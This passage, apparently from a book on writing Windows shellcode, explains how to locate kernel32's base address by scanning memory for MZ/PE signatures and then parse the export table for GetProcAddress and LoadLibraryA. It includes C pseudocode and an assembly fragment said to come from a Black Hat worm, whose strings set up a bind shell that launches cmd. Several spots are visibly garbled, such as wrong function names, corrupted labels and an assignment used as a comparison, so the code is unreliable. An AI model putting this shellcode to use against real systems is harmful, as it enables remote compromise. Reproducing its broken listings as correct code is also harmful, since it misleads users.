Direct Search in Memory

The most universal, portable, and reliable method of determining addresses of API functions is scanning the address space of the process to find PE signatures and subsequent parsing of the export table.

Set the pointer to c0000000h (the upper boundary of the user space for Windows 2000 Advanced Server and Datacenter Server, starting with the /3GB boot parameter) or to 80000000h (the upper boundary of the user space for all other systems).

Check the pointer availability by calling the IsBadReadPrt function exported by kernel32.dll, or set the custom structured exception handler to prevent a system crash (detailed information on handling structured exceptions was provided in Chapter 5). If there is the MZ signature, increase the pointer by 3Ch bytes, retrieving the e_lfanew double word, which contains the offset of the PE signature. If this signature is detected , then the base load address of the dynamic module has been found, and it is possible to proceed with parsing of the export table, from which it is necessary to retrieve the addresses of the GetLoadLibraryA and GetProcAddress functions. Knowing these addresses, it will be possible to retrieve all remaining information. If at least one of the preceding conditions hasn't been met, then it is necessary to decrease the pointer by 10000h and repeat the entire procedure (base load addresses are always multiples of 10000h ; therefore, this technique is legal). Pseudocode that searches for the base addresses of all loaded modules by PE signature is shown in Listing 11.6.

Listing 11.6: Searching for the base addresses of all loaded modules by PE signature

 BYTE* pBaseAddress = (BYTE*) 0xC0000000;   // Upper boundary for all systems while(pBaseAddress)                        // Loop {      // Check the address for availability for reading.      if (!IsBadReadPtr(pBaseAddress, 2))      // Is this MZ?      if (*(WORD*)pBaseAddress == 0x5A4D)      // Is the pointer to PE valid?      if (!IsBadReadPtr(pBaseAddress + (*(DWORD*)(pBaseAddress + 0x3C)), 4))      // Is this PE?      if (*(DWORD*)(pBaseAddress + (*(DWORD*)(pBaseAddress + 0x3C)))  =  0x4550)      // Proceed with parsing the export table      if (n2k_siirple_export_walker (pBaseAddress)) break;      // Test the next 64-KB block      pBaseAddress -= 0x10000; } 

 

Parsing of the export table is carried out approximately as shown in Listing 11.7. This example was borrowed from the unnamed worm from Black Hat, the complete source code of which can be found at http://www.blackhat.com .

Listing 11.7: Manually parsing the export table

 CALL         here         DB           "GetProcAddress", 0, "LoadLibraryA", 0         DB           "CreateProcessA", 0, "ExitProcess", 0         DB           "ws2_32", 0, "WSASocketA", 0         DB           "bind", 0, "listen", 0, "accept", 0         DB           "cmd", 0 here:         POP          EDX         PUSH         EDX         MOV          EBX, 77F00000h 11:         CMP          dword ptr [EBX], 905A4Dh ; /x90ZM         JE           12         ;DB          74h, 03h         DEC          EBX         JMP          11 12:         MOV          ESI, dword ptr [EBX + 3Ch]         ADD          ESI, EBX         MOV          ESI, dword ptr [ESI + 78h]         ADD          ESI, EBX         MOV          EDI, dword ptr [ESI + 20h]         ADD          EDI, EBX         MOV          ECX, dword ptr [ESI + 14h]         PUSH         ESI         XOR          EAX, EAX 14:         PUSH         EDI         PUSH         ECX         MOV          EDI, dword ptr [EDI]         ADD          EDI, EBX         MOV          ESI, EDX         XOR          ECX, ECX ; GetProcAddress         MOV          CL, 0Eh         REPE         CMPS         POP          ECX         POP          EDI         JE           13         ADD          EDI, 4         INC          EAX         LOOP         14         JMP          ECX 13:         POP          ESI         MOV          EDX, dword ptr [ESI + 24h]         ADD          EDX, EBX         SHL          EAX, 1         ADD          EAX, EDX         XOR          ECX, ECX         MOV          CX, word ptr [EAX]         MOV          EAX, dword ptr [ESI + ICh]         ADD          EAX, EBX         SHL          ECX, 2         ADD          EAX, ECX         MOV          EDX, dword ptr [EAX]         ADD          EDX, EBX         POP          ESI         MOV          EDI, ESI         XOR          ECX, ECX ; Get 3 Addr         MOV          CL, 3         CALL         loadaddr         ADD          ESI, 0Ch 

 

The main drawback of this method is its bulkiness. Recall that the maximum allowed size of the shellcode is limited. Unfortunately, nothing better has been invented.

The search for the base address can be optimized. In the next few sections, I will demonstrate how it is possible to do this. However, parsing of the export table cannot be avoided. This is the inevitable payment for the portability of the shellcode.